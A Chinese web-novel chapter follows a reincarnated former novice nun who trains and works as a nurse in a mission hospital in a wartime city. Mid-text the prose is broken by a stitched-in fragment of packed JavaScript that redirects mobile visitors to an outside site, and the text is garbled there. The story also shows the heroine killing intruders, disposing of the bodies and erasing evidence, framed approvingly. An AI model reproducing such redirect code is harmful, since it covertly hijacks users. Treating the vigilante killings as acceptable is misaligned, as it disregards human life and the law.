修女们自己都有些惊慌的样子。欧洲那里打起来了,钱和药物严重短缺,本地捐款跟不上。尤其是自家知道自家事,一旦开打,真的啥都顾不上了。
苏茜本人表示问题不大。因为,似乎是一战的影响,本会很多事情顾不上甚至有些不符合规定,导致她是唯一一个本籍见习修女,“精通”外语,受过培训,在教堂免费诊所里做看护,哦,不,是护士,即使拿出来一些金子自己生活也问题不大。何况,平城里天主堂好些个呢,到哪都能找到翻译兼护士的工作不是吗?另外,虽然全世界都受到战乱影响,但似乎只有北美问题不大?可惜了,那边的女性地位也没比平城里的好多少,最重要的是排华……
她的近代史知识真的不行,而岛上的书只有大概描述。当时自己觉得足够了解历史,结果没想到史书跟现实是两回事,比如说这个厕所……算了。幸好这里有本籍大妈洗住院病患的衣物,还有一口井,另外修女们很清楚不能喝生水,不然自己大概率会跑掉。
可这个时代,能跑去哪呢?海城?港城?难道忘了战争了?!全亚洲就没安全的地方。大不了打起来之前去巴城的医院找份护士工作。呃,记得渝城似乎被轰.炸?作为一个没有将才的小人物,她只能做点小工、挣条小命,苟个几十年再说吧。
等等,好像,那个十年浩劫期间,她这样在外籍教堂里做过修女的很可能会倒大霉。六七十岁的时候再倒霉……这事……
“苏茜姐妹,今天我要告诉你一个不幸的消息。”晚课后,埃利松嬷嬷含泪握住苏茜的爪爪。
“?”
玛丽堂难以为继,部分修女要回国,另一部分合并入另一个博济堂,但仅限于正式修女。
“……我知道你已经离开了俗世家庭,所以你是去我的祖国,还是我推荐你去平城一家女子护士学校学习?”
“哦……我希望能学习。嬷嬷知道,在这个国家刚刚开始摆脱愚昧,女性病人大部分不被允许向男性医生求助。我的好几位长辈都是因为难产时没有医生而死去,所以我拒绝十一岁就和一名十二岁的男孩结婚生育。”
“哦,上帝爱你苏茜。”
“是的,上帝救了我。”
作为一个严格遵守规矩,走路时从不看远方灰色的墙、黑瘦的人的见习修女,加上她能用几种语言帮助修女们与本地人尤其是妇女儿童们沟通,埃利松对苏茜的印象极好,因此打算做点上帝允许的破例的事。
“好好的活下去,孩子。”
“放心,嬷嬷,我会好好的。”苏茜屈膝吻了吻一直很照顾自己的老修女的手背。这次她真的是虔诚的。
当一身白巾黑袍的苏茜站在连门牌都没有的“学校”校长珍妮女士办公室里打招呼时,对方差点没分辨出她的国籍。
道氏护士学校还没开张,除了一排六间“教室”和后头的三间小平房,什么都没有。连校长都是住在隔壁的一栋房子里二楼的一大一小两间屋。
对了,玛丽堂关门后,苏茜也没有住的地方。所以她当场申请先将行李安置在后头的小平房,然后出去租一个房间。
“最近不少人都回自己的祖国,你可以租到不错的房间。或者你也可以申请住女子医院的宿舍。”是的,房间,她不可能一个人住一栋房子,不然光是小偷小摸都足够破产的了,更不要说别的。这个平城跟和平安宁没有太大关系,跟百年后的伟大都城完全不是一个地方。“不过我觉得,你的基础应该比新学生好得多,可以当我的助手。”
“谢谢!不过,校长,我们的学生们可能也有租房的需要,我们是不是要准备宿舍?”
“是的,我还在协调。女子医院可能跟道氏医院合并。”
道别时,苏茜微微屈膝后才离开。几年的见习修女生活习惯不是一下子能改过来的,尤其是自己还没有换上护士制服的时候。
白裙白帽,暂时没有华语教材。埃利松嬷嬷的推荐信让她免了不少麻烦,但是其他的就得靠她自己。
谢天谢地,教室里有一点点电。外头出门半里,哦不,是这儿的二里路,也能买到煤和炉子,有些劣质的煤和泥陶炉。
“……玛丽堂关门之后我不想去意国的战地医院,所以留下来了。毕业以后我就可以去医院工作。”去那个法.西.斯国度,还是算了。
“上帝保佑你苏茜,你会好好的。”
苏茜跟法籍房东太太解释聊天,用了法英夹杂的语言,但双方沟通良好。房东十分受用,因为对方也是天主徒。最终,看在金元的份上,租给她一间底楼带卫生间的套房。上辈子的颇为不受待见的货币,现在可是购买力强大的等价交换物,尤其是苏茜给的兑换价格非常“慷慨”,房东太太不仅免了水电费,还随便她拿走自家的报纸。
在开学前,她还跟房东太太聊了不少本籍历史典故——其实她知道的本籍历史并没有比欧洲那边的多多少,可还是用对方能理解的思想解释了为什么那位想当皇帝的实权将军很快就被干掉,以及本地甚至本城的民族恩怨史。其实吧,她费了不少功夫捡起来的曾经堪比母语的西语,结果一点用也没有,气结。
但很快派上用场了。
本籍护士到目前大概只有不超过五十位女士。去掉结婚、病故之类,现存大约二三十,分散到各个教会医院压根找不见。而外籍护士,除了修女还能被本地人接受,光是语言、尤其是方言口音沟通就是个大问题。即使在平城里,起码一半人讲的话跟满大人官话不一样,出去了那更是百里一种语言。
这不,来了几位西国殖民地过来的医生护士,当地人,除了西语还会阿语和葡语,但是一时半会的看不太懂英文资料,更没法跟平城人交流。让苏茜奇怪的是那边居然有不罩着脸的女护士,而让所有人都奇怪的是苏茜居然懂些阿语。
呵,她还懂一点点希腊语和希伯来语呢!
“我们都是天主徒,没法留在家乡。”年近三十、丧偶丧子的盖厦护士道。她也是怕了宗教、民族和国别矛盾。
“那就先在这里待几年。毕竟欧洲都在战争。”二十年后又开战。就她所知,西国那时可不是现在这样的中立国。
相比留学英美,与这些人语言文化习惯完全不通的其他华籍医护,苏茜见鬼地如鱼得水。医院里也有非英语的病患,这些医护都被打发去那边,然后空了的时候都跟苏茜学英语和华语。
“以前跟我关系挺好的一位修女也是摩国人。”苏茜饭前睡前简单祷告的习惯让新教犹太乃至东正等都对她很友好、或者说保持尊重的态度,尤其是知道她差点就发愿的时候更甚,完全看不出来那几个派别的不对付,当然这也许跟她对谁都态度谦和的修道院风格有关,亦或许非教堂医护人员的信仰度也就那样。
“难怪……苏茜护士,其实如果你说自己来自爱琴海也没人不信。”她的英语口音要么带意语腔,要么有点北美中部腔,反正一点不像华籍。另外就是,宗教和欧洲历史知识杠杠的,超过医院里绝大多数人。
“那我要好好学习希语了。”
“啊,你太厉害了!”
“我不是在学护理吗,第一年的基础知识没问题,所以有不少空余时间。”不,我不厉害,只是上上辈子没事的时候学了不少,这几年又捡回来了。
“要不你来医院帮忙吧,有工资的哦。”路过的英籍医生忍不住道。这位极有语言天赋的华籍护士学校学生曾经是见习修女,而且在教堂诊所里做事,实践上没啥问题,就缺个文凭。何况现在这年月大学只对少数男性开放,文凭并不那么重要。
“哦,真的可以吗?我不要求工资,之前埃利松嬷嬷给我的生活费还有,只求有实践机会。”
“那你跟你们校长说一声就可以了。”
新成立的道氏医院和护士学校非常近,学生们其实是和医院医护在一个地方吃午饭。说实话,让苏茜出去吃她也受不了,比如说豆汁和膻腥的羊肉以及厨师们的手都让她无法接受。至于晚饭,她大部分是买了菜和面包自己做,买来的粮油与其他耐存放的东西都是放山洞里保存,避免盗窃这样的事情给自己带来损失。
另外,汽油这东西实在难弄,她都不舍得用来发电,只能用普通的煤凑合烧着花园小屋里的炉子。加之发电机放置了一百多年,即使上辈子清理封存,现在大约不行了,就不用浪费汽油测试。
早年种下的灵谷早成了野谷,根本没法吃。符文早就失效,但清洁阵纹是一直能用的。岛上的灵气无法支持用来保存食物的阵纹,所以上辈子的储备,只有不怕时光的东西以及火灵木还在。
火灵木仍然长势极慢,但一截食指长短粗细的断枝能烧开一壶一升多的茶水并且保温一天一夜。苏茜是绝对舍不得在非紧急时间砍了火灵木取暖的,所以早年的破旧集装箱里直接放了快一吨煤——本地的一等煤仍然属于差劲的燃煤,烧一个月就能把她花园小屋的烟囱堵死。
哦,她的小屋本身质量非常、非常好,那木头在多次法术的加持下已经改变了理化特征,接近化石木的坚硬防腐防水程度,唯一不好的是缝隙需要填补。
另外,当年存下的火灵木被褥衣物至今仍然能用,虽然保暖程度明显下降,但能用。苏茜根本舍不得用这些珍稀收藏品,平城里一身新棉衣棉裤棉被棉披风棉垫外加羊毛毯子,两整套,外加一件素面丝棉大披风,送货到家门口,只要两块五两多一点的金锭,价格也就比一件英国进口时尚风格羊毛呢大衣贵些。这里的两是市两,但因为只有砝码没有电子秤,她上辈子制作的时候是刻意分量多些的。大披风长度接近脚踝,保护只有羊毛袜的腿。护士服加老式棉裤多不像话,可没有足够保暖是扛不住平城的冬天——在修练不出什么修为的情况下,单衣能扛摄氏零下的事情不可能在修仙世界之外出现,有也是天赋秉异的人士。
在岛上修炼也只能起到强身健体的作用,哪怕一天修炼六个小时。
平城里有两种温度,摄氏度和华氏度,而且整体上前者更常用。苏茜之前就花了些时间适应,现在可以飞快地在两种温度之间转换。
……
“这些士兵的发型,真有特色。”一名来华不久的中年女医生轻声嘀咕着。即使是在二十年后,女医生仍然比女教师的数量少得多,更不要说现在。
“这是帝制时代的发型,表示他们是遵循以前的传统。”苏茜同样看向窗外远处士兵长辫子,表示几年前平城都是这个发型,不过他们的衣服装备更“现代”一点,起码不是盔甲还是棉甲的,手里拿的也是步木仓而不是火铳大刀。不过那木仓,大概比她已经收藏品里即将报废的步木仓早好几代,后座力应该更大。
“传统!”女医生瞪大了绿色的眼眸。
“但那只流行了大概两百年。你知道流行这个东西很难说,比如这里富有、年长的女性都有一双畸形的小脚。”
“这个我看过照片,太恶心了。”让人想吐!
“是的,比勒得内脏错位的紧身衣还要恶心。但怎么办呢,男人的审美。”
“哦哦,是的,男人的审美。我的外祖母和母亲睡觉的时候都穿紧身衣。”可她们得到了什么?糟心的婚姻罢了。
“这会严重影响健康和寿命。”
“是的,她们都没有活过四十九岁。当然我认为伦敦的空气同样具有杀伤力。”
“还有水源?”
“对!水,还有食物,和铅。虽然她们后来住在巴斯,但不安全的食物和化妆品也是病因。”
“华籍很多贵族女性死于铅中毒。”
“一样,还有乱七八糟的美容物导致的失明,溃烂。我外祖母的年代还有人让自己感染上肺结核,好让自己苍白纤美。”
“……”
“……”
随后医院里送来不少受木仓伤的病人。苏茜也被叫去帮忙——这是她的学费被免除的原因,熟练工加实践指导小老师。
有小规模的冲突。在这个时代太正常了!
“呜……我还是受不了血肉模糊,怎么办?!”一名显然受过不错近代,不,现代教育的长辫姑娘坐在那里哭。
“苏姐姐?你有办法吗?”另一个长辫姑娘问苏茜。她们都是今年入学的新生。
“护士必须习惯血肉,溃烂的皮肤和死者的眼睛。南丁格尔女士就是在克里米亚战争中通过有效减少感染而降低士兵的死亡率,然后才有了护士这个受人尊敬的职业。”苏茜毫不犹豫地将这几个平时根本不和自己说话的姑娘弹压下去,用标准的伦敦英语。想要体面的职业又没有心理承受力的就别来!而且这个年代真的很落后,连注射器都无法做到一个病人换一个并且彻底消毒,交叉感染死亡是家常便饭。
死者的眼睛是啥意思?要她们摸死人?!两个长辫姑娘傻了。
就是这个意思!苏茜坚定回望。年年都有一半的姑娘受不了而退学,早习惯了。
……
“苏茜,有学生说你跟那两位退学的新生说了些话,然后她们退学了?”珍妮校长本来一点不在意,但架不住被一名女生拉住拼命告状。
“罗小姐?你害怕血吗?”她还算温和地看向告状的女生。
“我,不脏就不怕。”对方意识到不对,换成英语,“我不喜欢肮脏,我喜欢整洁卫生。”
“脏?如果有一位人力三轮车车夫头上有很多血迹,你愿意为对方清理吗?”
“车夫?我会让女仆先把对方弄干净。”
“如果有一位患者在你面前死去,你会尖叫吗?”
“别让我碰尸.体,应该,不会尖叫。”
苏茜对着校长耸耸肩,“那两位退学的同学无法承受流血的场景。”
科学接生、救治伤员、贫民、麻风病人,为死者安息,这些都是教会诊所引以为豪的成就。
校长也摇摇头,“护士和医生一样,都要面对疾病、受伤和死亡的人。我们开学的时候就普及过。”而且为医生打下手,就得做更多,包括抬死人。
告状的姑娘跑了。
“本地很多能讲英语的姑娘都是富有家庭出身,她们都是善良的,但从来没有接触过受伤和死亡,更不能接受为穷人服务,虽然能来医院的人都不是穷人。”苏茜为她们辩解道。这种理念是与教会诊所相悖的,连医院也不会将嫌贫爱富放在明面上。
“华籍草药医师也是这样吗?”
“不,历史上著名的医师都有为穷人免费治疗、传播医学知识或是参与大规模瘟疫的故事,并且古代也是区分外科和内科的,但医师都是男性,因此几乎没有妇产科医师,全部是由类似助产士的女性为产妇和女性治疗,所以我们不能指望古代华裔女性能得到正确的治疗。即使是现在也没有好到哪里去……对了,可能还有学生对产科持抗拒态度,因为很多本地家庭认为稳婆,也就是助产士,是低贱的职业,淑女是不能做的。”
“……这些姑娘花学费来干嘛?”
“可能有些姑娘认为学习照顾病人有助于找到良好的婚姻。尤其是对富有家庭来说,女主人会喜欢儿子娶一个能照顾生病公婆的妻子。”这是真的,好几个姑娘私底下都是这样说的。其他姑娘则是冲着将来每年超过三十元的“高薪”而乐意付出每年十几元的学费。
“……”美国来此不算太久的护士校长女士表示知道了,但一点也不想理解。
听说教育系统的头头又换了——因为大王旗子换下又换回来,让普通人压根搞不清楚怎么回事。但护士学校是依托外国医院办的,不在教育系统内,对方管不着。至于卫生系统,抱歉,医院院长们还没有帮助平城建立起完整的卫生行政管理系统,更管不着,而且各个所谓的官员都得来外国医院治中医搞不定的伤病。另外就是医学院,同样管不着,因为那些人既不懂英文教材,也看不明白药品说明,吃了能好就完事。
太太们再怎么受“传统”教育也怕在文盲稳婆手里难产而亡,大部分年轻些的、没有被年长的婆婆钳制的妇人还是很乐意来医院看病生孩子。这个时候,女护士真的很重要。
“我是见习修女。”苏茜先用意语然后用标准得不能再标准的华语、偏普通话的那种而非现在常见口音,回答一位太太的私人问题,然后帮助法籍医生了解病情——用英语加法语。
“你是出家人啊!”病人的男家属感慨着这还不是可以玩的小尼姑,而是很不好玩的修女,算了,这姑娘也不是多漂亮。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987710|193506||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“可以这样理解。修女和修士一样,都是终身侍奉上帝的。”苏茜微屈膝,跟着医生到下一个病房。
本月开始,她正式毕业成为道氏医院的护士,同时领每天二十美分的工资、每天在医院里十个小时包括吃饭更衣,年薪大概一百五十块,约等于初级学堂的女教师。
其实呢,要是现在让她在小诊所里当个医生也可以,甚至只要不是复杂的手术都能上。但她的底子来自于前面几辈子的积累,与此时此地的医学不是一回事,所以不敢太超越什么,尤其是连青霉素都还没被发现的时代能怎么办。
现在的产科已经相当“现代”,别说侧切,剖宫的存活率还是很高的。反正与文盲稳婆完全不是一个世界。对了,女性医生护士在这个年代的平城更受女病人特别是产妇欢迎是事实。
所以苏茜大部分时间都是在妇幼科工作。
“要生产了,马上准备!”怎么回事,就不能稍微提前送来吗?连病房都没时间准备!只能去抢救室。
“好的,皮内多医生。”苏茜属于兼任助产士和护士的角色,忙得团团转。终于两个多小时就搞定了一个顺产,医生其实只出现了一个小时不到。
幸好现在已经半夜,没有其他急诊病号。
苏茜清洗包裹婴儿的同时还要指挥家属将病人移到刚由夜班女工收拾出来的单人高级病房——一天五块住院费包括病号餐但不含任何医疗费用的那种高级,接生费本身要二十块。
“一个健康的男孩。母亲的情况也很好。”她用华语道。“等她醒来或者有什么问题就按这个铃。我或者其他护士会来看顾。”
“好的好的,太好了!”
婴儿的祖母高高兴兴地只顾着孙子。
苏茜对此习以为常,全院的人都很习惯了。幸好付得起费用的家庭都不会要求杀死或抛弃女婴。
今天其实是加班了,但不讲加班费。苏茜看了下今晚明天的值班护士表,决定睡在值班室。凌晨的时候,家属带了女仆直接冲过来找医生。婴儿呼吸困难。
值班医生护士一通忙。其实还是苏茜第一个觉察不对直接动手的。现在的医学说先进那也是相对古代而言,现在连抗生素都没有,三十年后的常见手术基本都做不了。
可即使如此,家属还是非常感激,甚至还打算打赏,被医护们微笑着推掉了,连私下好处都是婉拒的。
“你说这些护士能拿多少钱?我们是不是给得少了?”
“我知道这些外国的大夫一年一千块左右吧。护士肯定要少很多,可不会少于一百。”
“啊,不是佣人啊?!”这么贵吗?一百都能买条命了。
“奶,护士最早是战场上看护伤员的修女,地位差不多有点像医女。不过医女只为女眷看诊然后告知大夫,而护士不论男女。而且在欧洲战场上,双方都不能对护士开木仓。这是规矩。”年轻人是留洋回来的,当然懂一些。
“啊,还给男人看病?”这位太太本来想给儿子纳一房会照顾人的妾室,可一听就收回去了。
“是帮助医生处理事务、看护病人,所以日本那边都叫看护的。我们这里几年前称为护士。”
“反正就是连衣冠不整的男人都碰,这样的姑娘是没人要的。”
“……”人家护士跟你欣不欣赏她们有关系吗?不过年轻人没有多说什么。不论是刚才那位严肃的护士还是刚生了儿子的“传统”妻子,都不是他喜欢的类型。
外面天蒙蒙亮。
苏茜注明当天休息,然后去厨房拿了几块乳酪面包,配着黑咖啡吃早餐。穿上有些圣衣风格的戴帽披风,在离开医院的一对母子惊愕的目光中,一路看着那位护士穿着严肃地走向对面巷子。“那个是宗教式的服装。那位护士可能是受修女教育。”
“出家人吗?”
“是外国的出家人,信的教不一样,但都是有清规戒律的,不能成亲,早晚功课,饮食也有忌讳。”赶紧打消老娘给他再弄个不喜欢的女子的念头!
……
苏茜完全不知道这家人奇奇怪怪的心理,当然知道了也懒得理会。
她的注意力放在背后跟着的人。不需要回头观察,她可以用干掉上百盗匪抢劫犯的经验担保,那应该是跟梢探情况的,半大小孩。现在是白天,清晨,好地段,不可能现在就干嘛。
她进门的时候利用转弯墙脚的遮掩看过去,果然是个衣衫旧但不破的小男孩,面相看不到,想来是比较机灵的。
进院门,开小门,她特意放慢速度、放大动作。那个男孩像是好奇一样东张西望。院子有铁门和锁,但没有守卫门房,房子里一共五户人家,一楼三户、二楼两户。房东太太是位寡妇,丈夫死在异国他乡,但儿子在平城工作,工资一半寄给家乡的妻儿,因此这位快六十岁的太太很想得开。
这栋房子里的住客都是些看起来还行,却没多大钱势的人,而这条巷子也不是达官显贵的地盘。门房边小走廊里的报纸是昨天的,五户人家一起出钱订了各国七八份报纸和一份期刊,其中唯二的华语报纸头版头条的意思都是城头上的大王旗将换一换,不过一家说就是换掉,另一家说两方其实是联手。
还有一份英文报是本地出的,大部分是华籍新闻,其他都是通过电报得知的欧洲战局的消息。
电报啊,还有华尔街。
这地方让她想起来旁听农业管理专业大课的时候,当时好像是为了等个买家还是啥的,然后那位教授讲的是大萧条。有趣的是,他是从农业和农民的角度去看的,非常的微观经济,但后果却是宏观经济,从小麦产量、农业工人工资和小农场主饭桌,讲到股价与公司价值,同时把所谓的经济数据批得狗屁不如。哦,现在的指数还是挺正常的,除了德籍企业受影响外,钢铁、军火、食品企业都向好,连洪灾旱灾看起来也就是一点点小瑕疵而已,倒是飞机跨洋成了人人关注的事情。还有,现在似乎已经出现了借贷消费的理念,上万家银行贷款给普通人买车建房。另外,各个报纸都没有放过一条新闻,就是前沙皇的美丽女儿们或许逃出来一个。
与华尔街相对的是欧洲的报纸,这个吹自己军队有多英勇,那个吹几百公里射程的大炮将是未来的制胜法宝。
苏茜知道,这一场快打完了。德国青壮年非死即伤要么是贵族或街头混混,而未来那个挑起第二次大战的神经病现在估计在哪个角落忿忿地养伤呢!
“早上好,苏茜。”
“早上好,劳拉。”
“你要出门吗?”
“不,我值夜班,接生了一个婴儿,现在刚回来。打算今天睡觉,明天再去上班。”
“哦!赶紧去休息吧!我会轻手轻脚的!”
鲁特太太劳拉算是与苏茜关系不错。鲁特先生在船公司工作,她当教师,绝没有看不起护士,尤其是苏茜帮着她省了很多买食品和其他东西的钱。
休息?是要去睡。苏茜回房间后直接去岛上洗澡洗衣睡觉。岛上与现实温度差不多,正是舒适的时节,雨水也略少,衣服被套棉被床单能晒半天。
五个小时的优质睡眠后,她起来上厕所收衣服被子,然后赶海觅食兼泡壶野茶。
当年种下的灵茶树已经成了乱七八糟的野茶,还是可以喝的,就是口感差,她会加入平城买的花茶一起泡了喝。边喝茶边蒸饭边做海鲜。黄酒葱姜蒜大大方方地放,虽然食用油调料品不是那么丰富,但原汁原味没有任何化学添加剂,还有各种手工酱料,吃得人心花怒放。红烧鱼,烤生蚝,青菜加进去大蒜炒一炒,配上一碗大米饭。很可以!
全部吃完,看看表,修炼一个小时。
然后她搬出来武.器收藏,比对着前段时间托房东太太的儿子买回来的木仓跟子.弹,最终还是拿了起码再过二十年才出品的一款,带消音抑制器。试了两发,能用,但还是挺响的,绝对会惊醒一堆人。然后又将上辈子做的短剑拿出来。这些就不用试了,她三天两头地练。
接着就是连发弓。这个弓更接近弩,箭也是专门做的配套短箭,一百米以内,连发十箭。上面的符术已经没用,但材料绝对都是好的,试了一回,可以做到十米穿喉。回到屋中,检查了下门窗,没有任何痕迹。然后大大方方开了会儿电灯看书。
没动静。
关灯,拉窗帘,再穿上棉衣裤和棉鞋,去院子里沿着围墙晃荡,还找出来一架已经有些年久失修的梯子。
九点多,一楼二楼的灯都熄了,只有楼道里有一盏小灯。
十点半十一点的时候,墙外有响动。
苏茜一直在调息,在有人找墙上事先打的洞时就停住,移到边上的树后,将弓端起,短刀则别在腰间。这个世界修不出修为、用不了神识,但可以做到健康强健、耳聪目明。
跳下来仨,墙外肯定还有人。但进来就这三个。
一人一箭。最后一个人喉咙里有声音,但被苏茜扑上去补了一刀。全部先扔岛上再说。
一切打斗不可能完全无声。可即使夜深人静,附近也不是一点声音也没有,鸟儿夜啼,风吹叶落,偶然路过的车声和人声。所以这点声音没有惊动房子里的人,外面放风的更以为是自家人搞出来的动静,还在琢磨是不是已经跳窗进二楼还是一楼的,然后就被踩在梯子上的人一箭穿胸。
梯子撑不住有些散架,幸好苏茜跳得及时,不然丢脸丢大发了。
从院门出去,装作听到不对劲出来察看,然后抬脚间将尸.体扔岛上——活人活物扔不了。路面上不多的血迹用树叶扒拉几下就不管了,只回来翻土,将院里地面上的脚印、梯子印和血迹都掩盖掉,回岛上先把尸.体扒了扔海里,箭支拔出来清洗晾干,然后回房间睡觉。
六点的闹钟,起来要修炼半小时再去医院吃早饭。入室劫匪的遗物最早也是今晚才有空处理。
15.当年的护士(二)
“早,苏茜护士。”
“早,莱文医生。”
“我看了昨天的病历,你处理得很正确。”
“谢谢!”
“……”
“……”
报纸上说西国很多人高热甚至咳血而死,结果其他国家也相继出现疫病大流行。几个医生在早餐桌上聊起了这事,然后延伸到细菌和病毒的辨别,一直讨论到办公室。反正现在无法检测白细胞,更勿论是哪一型流感了。上世纪末,本地一支教众打砸外籍医院、认为西医就是杀人,十年后才算正名,二十年后大城市和周边开始信任西医,但人们对西药更感兴趣。
最终,战争结束了。听说战火、饥饿和疫病让交战双方都无力继续,尤其是德国那里。反正外文报上都是谈判的消息,华语报则都是新任“老”总.统的生平履历和文章言论——她的文言文功底已经好了很多,但看起来依旧很吃力。反正各省没有出现你一上台我就出兵的说法,所以现在还是安全的。
苏茜当然没去打听去美国的途径费用。近代全球最著名的歧视案例——排华法案在大萧条时不仅达到一个小高峰还被政客们恶意引导出种.族冲突,也是最后几个给予女性选举权的系统性歧视的所谓文明国度,因此她这张黄种脸,宁愿去港城也不会考虑美国。至于狮城,抱歉,可能到她老死的时候才会把河水环境搞干净。而欧洲,二战后生活物资还配给呢,为了几根骆驼香烟能打起来的那种。在扶桑投降之前,她还是在家乡这片土地上当护士吧,大不了去战地医院工作!
“普世欢腾,救主下降,大地接她的君王……”
圣诞节值班的苏茜,在食堂里用各种语唱各类圣诗,除了华语——她是真的不会。倒是有些“古老”的歌,她还记得一些歌词,但问题是现在这些歌还没有华语版,根本没法唱。所以,连盖尔语版的旧日时光,以及意语的重回索伦托。
“真好听,是意语吗?”
“是的。索伦托是南部的一个海滨小镇,靠近那不勒斯。”她两辈子前去过,“光听歌词的话会觉得那里一定平静美丽。”
“完全可以想象。”反正听不懂的肯定都是好的。
苏茜会一点钢琴,那是为了唱圣诗胡乱学的,所以唱歌都是清唱,哪怕是走调其他人也不知道。何况她这辈子的嗓音条件还行,配合出名优美的旋律,不可能太难听。
医护们都是外籍或是教会学校毕业的华籍,对圣诗之类接受良好。
可惜苏茜开的头让后面的人有些难以为继,大家勉强也弹唱几首歌之后,吃几块肉、碰个咖啡杯就散了——医院里绝不会出现喝酒误事的情况。
病人们大部分没有过圣诞节的习惯,但是他们很欢迎躺着无聊的时候听歌。于是苏茜在有病人的几个病房里给大家唱特意选的曲调优美的意语圣诗和民歌——听不懂就对了——第二天受到全体病人或家属的表扬。
这个连收音机都还没有的年代,娱乐生活只有舞厅、戏园子和无声电影——没有一样能戳中苏茜的兴趣,何况她真的没时间。看书、修炼和做饭吃就是睡眠之外的所有活动了。
房间里没有通暖气,用暖炉其实也还行,自来水的供应比公共水井里打水方便太多,所以卫生间里有浴缸和抽水马桶下水道以及两盏电灯和一个功率不大的插头、不另外算水电费,算是城里最先进的住所了,因此房租得花掉苏茜护士工资的三成。
哦,她今年拿到一笔假日夜班津贴,能付两个月的房租,不错不错。虽然她压根不在乎钱的事情,当上辈子挣的金山是假的啊!那真就是大把的金元。但她现在需要一个明面上的职业和正式收入,来应付这个时代对女性的不友好,包括比草木灰要强些的卫生脱脂棉和围兜布。至于她上上辈子习惯的卫生用品,搞不好要等到自己更年期的时候才问世。
无视路边乞丐,踩着雪回住处,靴子在清晨的积雪上发出轻微响声。这个地段出现的乞丐,有两成可能有问题。上次的入室劫匪全军覆没后,院子里可能没有新的闯入者——她经常不在屋子里包括夜晚,所以只能确定自己的院门、屋子大门和自己的房门没有强行闯入的痕迹。不过这也不能代表没法子混进来,所以她对自己的门窗都做了小机关。而且她如果睡在屋里、枕头底下是两柄飞刀,如果从岛上回屋,肯定是回关上门的卫生间并且手里有刀或剑。
墙边有脚印,不是皮鞋或房子里的人习惯穿的各类鞋。她停了片刻,继续回屋。
有人开过她的房门。
但屋子里没有钱或是任何值钱的小物件,全部是书。书有人翻动过。
她不能肯定是邻居们尤其是房东太太还是外来者。但她回来之后还碰到房东太太打过招呼,对方没有找她的意思——她今年的房租都付掉了,还送了一罐红茶。
所以,是拿撬锁工具的闯入者。
希望对方身上有战利品,别像上次那样除了几柄材质很差的匕.首和四块现金,啥都没有!
她先回岛上做饭修炼,并且睡了一觉。下午在屋里的炉子上热了下鸡排盖浇饭,吃饱喝足,没开灯,但是撤回门窗上的机关,在夜色中披着披风坐在床上打坐。
晚上十一点多,有人撬门进来,正暗喜可能得手的时候,一根金属带勒住他的脖子,生生将他勒死。
苏茜轻轻掩上门——这种老式的锁即使反锁也没啥用处——将尸.体扔在岛上,然后换上对方的皮鞋,外罩大衣和兜帽,无声无息地出门,走到巷子另一头的街道上,然后换上自己的鞋子回住处。
这小子今年从停战的欧洲跑来,是一楼邻居家的亲戚,刚来华不久,没有工作还啥都敢沾,连房东太太都不太满意。也算是为民除害了!
好歹搜出来一个怀表和二十块美钞,减轻一点没得睡好觉的郁闷。然后将其他没用的东西扔海里去。
五年里干掉两拨入室,这治安也是够呛,堪比当初号称全美暴力犯罪最多的城市,毕竟后者其实大部分都是突然起意的,而前者完完全全就是踩好点的那种。
她记得还有个乞丐盯过自己。每天真正睡觉的时候要么在医院值班室——医院的安全性高得多——要么在岛上,屋子里什么东西都没放。
但楼上房东太太家失窃了!
“幸好!我的钱都在银行里,支票本也没有签过名。我丢了个首饰盒,但是结婚戒指和一条贵重项链都还在。”房东太太心疼得昏倒,还差点一病不起,但她也清楚,自家首饰盒里的一半是赝品,一整个的大概不到两百美刀。
可是!两百啊!现在能值三百多元,算得上大案了。
所以连警犬都来了。
“上个月吧,我连续好几天在靠近院门的地方看见一个小乞丐,大概十到十二岁的样子,女孩,应该是女孩,外表看起来像男孩。她似乎没有向我讨东西的意思,我只是惊讶对方是女孩,也没有说话留意。不知道这算不算异常。昨天晚上,睡觉前,一直到近九点的时候,我没有听到特别的响动。院门也没有开关的声音。”
本地的警察上门一个个笔录算是尽到责任。
然后就没有然后了。
这种盗窃在任何国家都有。所以全楼的人都开始在防盗和贵重物品保存上做文章。
“苏茜,你需要一起合租银行保险箱吗?”楼上的邻居来问。大家被失窃的事情吓得不轻,因为偷东西的人是在房东太太睡着的时候入室盗窃的,而之前还失踪过一个不受欢迎的人,搞不好两者有关联!也因此失踪者的亲属一句话也没多说,甚至已经不再打听亲戚的下落,所有人都觉得那个不学好的家伙已经加入了本地犯罪集团。
“我只有手表值大概二十块,没有首饰,身边最多五美刀现金,其他都在银行。房间里也就是纺织品和书籍,连金笔也没有。”
金属货币放山洞里,花旗银行里的纸钞折合两百多美刀。不过她考虑在大萧条之前将存款都取出来。说实话,如果能在大萧条前在纽约投机一把就好了,但她又不是什么权贵,一点也不想给关在隔离岛上被当成猪那样研究,因此哪怕是医院里有允许华裔医护自费赴美进修的机会她也没争取。
不过她参加了好几场海外护士注册考试,拿到好几个国家的护士证,得拿蜡纸木盒一层层封起来。颇为讽刺的是没有本国的证,因为本地只把女护士当作照顾女眷婴幼的医女,如果不是外国医院的存在和讲英语的习惯,不少人甚至将女护士归为女佣。
* * *
天气热了,人的情绪也开始热烈起来。
二楼邻居家的小姐恋爱了,对方当然是“老乡”。
而人们对欧洲的关注也空前高涨,每天都有大学生甚至中学生在散发单子,呼吁大家表达出收回殖民租界的诉求。
苏茜不支持,也不反对。表达有什么用?讲道理的范围就是炮.弹的射程,连土炮也造不出来、军官全部是境外培养导致见到老师不敢放一木仓的玩意,诉个球!
至于上街的男女学生们,她只能表示同情。男学生只有直面木仓炮才能明白什么叫话语权,女学生必须通过流血流汗才能争取到平等权利。自己想要的,永远只能自己去争取。
五月四号,学生们罢课上街,顺便将一个汉奸家给砸了。
